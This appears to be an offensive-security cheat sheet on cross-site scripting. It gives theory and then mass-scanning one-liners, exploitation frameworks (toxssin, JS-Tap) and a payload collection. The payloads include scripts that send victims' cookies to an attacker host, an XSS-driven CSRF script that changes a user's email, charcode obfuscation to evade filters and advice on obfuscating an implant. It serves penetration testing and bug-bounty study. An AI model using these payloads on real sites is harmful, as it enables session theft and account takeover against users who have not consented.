XSS (Cross-Site Scripting)

Theory

Cross-Site Scripting (XSS) is a security vulnerability that occurs when an application includes untrusted data in a web page. Attackers can inject malicious scripts into web pages viewed by other users. These scripts execute in the context of a user's browser, which can lead to a wide range of attacks, such as stealing cookies, session tokens, or sensitive data, defacing websites, or redirecting users to malicious sites.

There are three major types of XSS:

Stored XSS: The injected payload is permanently stored on the server and served to other users when they access the page.
Reflected XSS: The payload is included in the page as a result of a user action, like clicking on a malicious link or submitting a form.
DOM-based XSS: while stored and reflected XSS attacks exploit vulnerabilities in the server-side code, a DOM-based XSS exploits client-side ones (e.g. JavaScript used to help dynamically render a page). DOM-based XSS usually affect user inputs that are temporarily reflected, just like reflected XSS attacks.

Practice

Tools

Here are some handy one-liners to automate XSS scans on domains using tools like gau, hakrawler, waybackurls, katana, uro, qsreplace, httpx, Gxss, Dalfox, Gospider.

It may be usefull for bug bounty hunting

domains.txt -> text file containing domain names (ex: test.domain.com)

urls.txt -> text file containing URLs (ex: http://test.domain.com)

# HTTPX
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep -Ev "\.(jpeg|jpg|png|ico|gif|css|woff|svg)$" | uro | grep =  | qsreplace "<img src=x onerror=alert(1)>" | httpx -silent -nc -mc 200 -mr "<img src=x onerror=alert(1)>"

# Dalfox
cat domains.txt | (gau || hakrawler || waybackurls || katana) | httpx -silent | Gxss -c 100 -p Xss | sort -u |grep http| dalfox pipe

# Curl
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep '=' |qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -s --path-as-is --insecure "$host" | grep -qs "<script>alert(1)</script>" && echo "$host \033[0;31m" Vulnerable "\033[0m";done

# URLS and Dalfox
gospider -S urls.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe

# Dalfox, gf
cat domains.txt | (gau || hakrawler || waybackurls || katana) | grep '=' | gf xss | sed 's/=.*/=/' | sort -u | dalfox pipe

# gf, uro, dalfox
cat urls.txt | gf xss | uro | dalfox pipe --silence | tee -a xss_found.txt

# gf, uro, qsreplace, airixss
cat urls.txt | gf xss | uro | qsreplace '"><img src=x onerror=alert(1)>' | airixss -payload "alert(1)" | tee xss_found.txt

Dalfox is a powerful open-source XSS scanner and utility focused on automation.

# Scan an URL
dalfox url http://testphp.vulnweb.com/listproducts.php?cat=1

# From an URLs file
cat urls.txt | dalfox pipe

XSSer (Python) is a tool that can detect, exploit and report XSS vulnerabilities on a web application

# --Cl : Crawl only local target(s)
# -c : Number of urls to crawl on target(s)
# --Cw: Deeping level of crawler: 1-5
# -s: show advanced statistics output results
# --auto: Inject a list of vectors provided by XSSer
# --xml: Export to XML
python xsser -u https://target.url -c 50 --Cw 1 --Cl -s --threads 5 --timeout 30 --retries 1 --delay 0 --auto --xml out.xml

toxssin (Python) is an open-source penetration testing tool that automates the process of exploiting Cross-Site Scripting (XSS) vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool (toxin.js).

# Generate certificates
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365

# Start toxssin server
python3 toxssin.py -u https://your.domain.com -c /your/certificate.pem -k /your/privkey.pem

On the target side, XSS payload should looks like:

<script url="https://your.domain.com/handler.js"></script>

JS-Tap is a generic JavaScript payload and supporting software to help red teamers attack webapps. The JS-Tap payload can be used as an XSS payload or as a post exploitation implant.

The JS-Tap payload is contained in the telemlib.js file. This file has not been obfuscated. Prior to using in an engagement strongly consider changing the naming of endpoints, stripping comments, and highly obfuscating the payload.

# Configure nginx and payload as proxy
# https://trustedsec.com/blog/js-tap-mark-ii-now-with-c2-shenanigans

# Edit payload conf and jsTapServer.py, Start JS-Tap server
./jstapRun.sh

On the target side, XSS payload should looks like:

<script url="https://your.domain.com/telemlib.js"></script>

Enumeration - Find XSS Vulnerabilities

We have to identify input vectors that may not be properly sanitized and that are stored or reflected. For example:

URI parameters for reflected and DOM-based XSS
Other user inputs in forums, chats, comments, posts, and other stored content for stored XSS
HTTP headers like Cookies (and even User-Agents in some cases)

We can input special characters and observe the output to determine if any of the special characters return unfiltered. The most common special characters used for this purpose include:

< > ' " { } ;

The following website (or Github) can assist in recognizing the alterations made to user inputs, which can aid in circumventing filters and modifications, enabling the exploitation of XSS vulnerabilities.

Payloads

Generally we will use following payloads as a proof of concept. It will open an alert window.

// Classic Payloads
<script>alert('XSS');</script>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG onmouseover="alert('XSS')">
<<SCRIPT>alert("XSS");//<</SCRIPT>
<A HRef=//X55.is AutoFocus %26%2362 OnFocus%0C=import(href)>

// Useful payloads
<K OnPointerRawUpdate=alert(1)>
<K OnPointerMove=alert(1)>
\’/alert(1)//
<K ContentEditable AutoFocus OnFocus=alert(1)>
<Svg OnLoad=alert(1)>
<Img Src=//X55.is OnLoad=import(src)>

We may send back user cookies to our own webserver using following payloads

<script>var i=new Image;i.src="http://ATTACKING_IP/?"+document.cookie;</script>
<img src=x onerror=this.src='http://ATTACKING_IP/?'+document.cookie;>
<img src=x onerror="this.src='http://ATTACKING_IP/?'+document.cookie; this.removeAttribute('onerror');">

On the attacking webserver, we may use XSS-cookie-stealer.py to logs each inbound HTTP connection and all the cookies contained in that connection.

The HttpOnly flag instructs the browser to deny JavaScript access to the cookie. If this flag is set, we won't be able to steal the cookies.

We may use an XSS vulnerability to perform a CSRF (Cross-Site-Request-Forgery) and make actions on behalf of the user.

#Exemple from https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-perform-csrf
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/my-account',true);
req.send();
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    var changeReq = new XMLHttpRequest();
    changeReq.open('post', '/my-account/change-email', true);
    changeReq.send('csrf='+token+'&[email protected]')
};
</script>

We may improve our payload for more reliability. First, compress it using this website, and then past it as the following encode_to_javascript function argument

function encode_to_javascript(string) {
            var input = string
            var output = '';
            for(pos = 0; pos < input.length; pos++) {
                output += input.charCodeAt(pos);
                if(pos != (input.length - 1)) {
                    output += ",";
                }
            }
            return output;
        }
        
let encoded = encode_to_javascript('insert_minified_javascript')
console.log(encoded)

Run the function and copy result (charcode) to our final payload

<script>eval(String.fromCharCode(121,19,32 [...] 120,95,42,31))</script>

CSP

CSP is a browser security mechanism that aims to mitigate XSS and some other attacks. It works by restricting the resources (such as scripts and images) that a page can load and restricting whether a page can be framed by other pages. To enable CSP, a response needs to include an HTTP response header called Content-Security-Policy with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.

CSPBypass.com, is an open-source tool designed to help ethical hackers bypass restrictive Content Security Policies (CSP) and exploit XSS (Cross-Site Scripting) vulnerabilities on sites where injections are blocked by CSPs that only allow certain whitelisted domains.